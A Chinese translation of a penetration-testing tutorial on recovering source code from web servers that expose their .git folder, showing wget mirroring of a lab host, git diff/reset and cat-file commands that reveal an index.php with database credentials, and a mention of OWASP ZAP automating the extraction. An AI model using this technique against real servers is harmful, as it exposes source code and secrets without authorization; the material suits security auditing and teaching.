[译]从配置错误的web server中dump git数据

本文详细介绍了如何通过查找.git文件夹、使用工具如Nessus、Nikto和nmap,以及从公开的git仓库中获取web服务器的Git仓库。包括检查配置文件、获取所有文件、对比本地与web服务器文件、使用git命令进行操作,并介绍了OWASP Zed Attack Proxy(ZAP)工具用于自动提取文件。同时,文章提供了关于如何在objects文件中存储文件信息、使用git cat-file命令查看SHA-1信息及提取文件内容的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原文地址:[url]https://blog.netspi.com/dumping-git-data-from-misconfigured-web-servers/[/url]

通常情况:
[img]http://dl2.iteye.com/upload/attachment/0106/9841/6fc51806-5049-3c28-aec1-4b0d0512c081.png[/img]
检查 git repository最简单的方法是查找.git文件夹
[img]http://dl2.iteye.com/upload/attachment/0106/9843/d3cffa80-e9a1-36ab-87b4-be9e8d5a4d17.png[/img]
可以使用Nessus, Nikto, 和nmap等工具来完成该任务。
通常我会首先检查config文件
[img]http://dl2.iteye.com/upload/attachment/0106/9845/cd650124-a708-3160-b506-60a4ee812230.png[/img]
接下来获取.git文件夹下的所有文件:
 wget -r http://192.168.37.128/.git/

我们获得了web服务器的Git repository

root@kali:~/192.168.37.128: ls -al
total 12
drwxr-xr-x 3 root root 4096 Dec 26 14:28 .
drwxr-xr-x 19 root root 4096 Dec 26 14:28 ..
drwxr-xr-x 8 root root 4096 Dec 26 14:28 .git
root@kali:~/192.168.37.128#

git status可以查看本地和web server的区别:

root@kali:~/192.168.37.128: git status
# On branch master
# Changes not staged for commit:
# (use "git add/rm <file>..." to update what will be committed)
# (use "git checkout -- <file>..." to discard changes in working directory)
#
# deleted: index.php
#
no changes added to commit (use "git add" and/or "git commit -a")

可以看到在我们的repository中缺少index.php文件
对于文件很少的repositories ,我们可以diff区别来查看我们缺少的文件的内容:

root@kali:~/192.168.37.128: git diff
diff --git a/index.php b/index.php
deleted file mode 100644
index 2bd0989..0000000
--- a/index.php
+++ /dev/null
@@ -1,13 +0,0 @@
-Hello World!
-
-<?php
-$servername = "localhost";
-$username = "admin";
-$password = "password";
-
-$conn = new mysqli($servername, $username, $password);
-
-if ($conn->connect_error) {
- die("Connection failed: " . $conn->connect_error);
-}
-?>


这样我们就可以看到index.php文件。
可以使用 git reset –hard来回到上一次commit时的状态。

root@kali:~/192.168.37.128: git reset --hard
HEAD is now at ec53e64 hello world
root@kali:~/192.168.37.128: ls -al
total 16
drwxr-xr-x 3 root root 4096 Dec 26 14:37 .
drwxr-xr-x 19 root root 4096 Dec 26 14:28 ..
drwxr-xr-x 8 root root 4096 Dec 26 14:37 .git
-rw-r--r-- 1 root root 238 Dec 26 14:37 index.php
root@kali:~/192.168.37.128:

git在objects文件中存储文件信息:

root@kali:~/192.168.37.128/.git/objects: ls -al
total 64
drwxr-xr-x 16 root root 4096 Dec 26 14:28 .
drwxr-xr-x 8 root root 4096 Dec 26 14:37 ..
drwxr-xr-x 2 root root 4096 Dec 26 14:28 04
drwxr-xr-x 2 root root 4096 Dec 26 14:28 07
drwxr-xr-x 2 root root 4096 Dec 26 14:28 26
drwxr-xr-x 2 root root 4096 Dec 26 14:28 2b
drwxr-xr-x 2 root root 4096 Dec 26 14:28 83
drwxr-xr-x 2 root root 4096 Dec 26 14:28 8d
drwxr-xr-x 2 root root 4096 Dec 26 14:28 8f
drwxr-xr-x 2 root root 4096 Dec 26 14:28 93
drwxr-xr-x 2 root root 4096 Dec 26 14:28 ae
drwxr-xr-x 2 root root 4096 Dec 26 14:28 ec
drwxr-xr-x 2 root root 4096 Dec 26 14:28 f2
drwxr-xr-x 2 root root 4096 Dec 26 14:28 f3
drwxr-xr-x 2 root root 4096 Dec 26 14:28 info
drwxr-xr-x 2 root root 4096 Dec 26 14:28 pack

有一些只有两个字符的文件夹,他们里面含有一些随机字符命名的文件:
[quote]
root@kali:~/192.168.37.128/.git/objects/2b: ls -al
total 12
drwxr-xr-x 2 root root 4096 Dec 26 14:28 .
drwxr-xr-x 16 root root 4096 Dec 26 14:28 ..
-rw-r--r-- 1 root root 171 Dec 26 13:32 d098976cb507fc498b5e8f5109607faa6cf645
[/quote]
这些文件夹和其中的文件实际上为blob数据创建SHA-1。每个SHA-1含有repository中每个文件的bits/pieces。
我们可以使用下面的命令查看index.php的SHA-1信息

git cat-file -p master^{tree}


root@kali:~/192.168.37.128/.git: git cat-file -p master^{tree}
100644 blob 2bd098976cb507fc498b5e8f5109607faa6cf645 index.php

该命令的作用是显示master分支中的每个文件的SHA-1
我们可以把这些SHA-1传递给git cat-file 来显示文件内容

root@kali:~/192.168.37.128/.git: git cat-file -p 2bd098976cb507fc498b5e8f5109607faa6cf645
Hello World!

<?php
$servername = "localhost";
$username = "admin";
$password = "password";

$conn = new mysqli($servername, $username, $password);

if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
?>

[color=red][b]OWASP Zed Attack Proxy (ZAP) 可以自动从暴露的git文件夹中提取文件(通常是app的代码)。ZAP的一个优点是它不需要设置directory listing为启动状态。相反ZAP匹配内部git文件然后直接提取代码而不需要依赖额外的工具,例如git客户端。
ZAP还可以提取SVN文件夹。[/b][/color]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值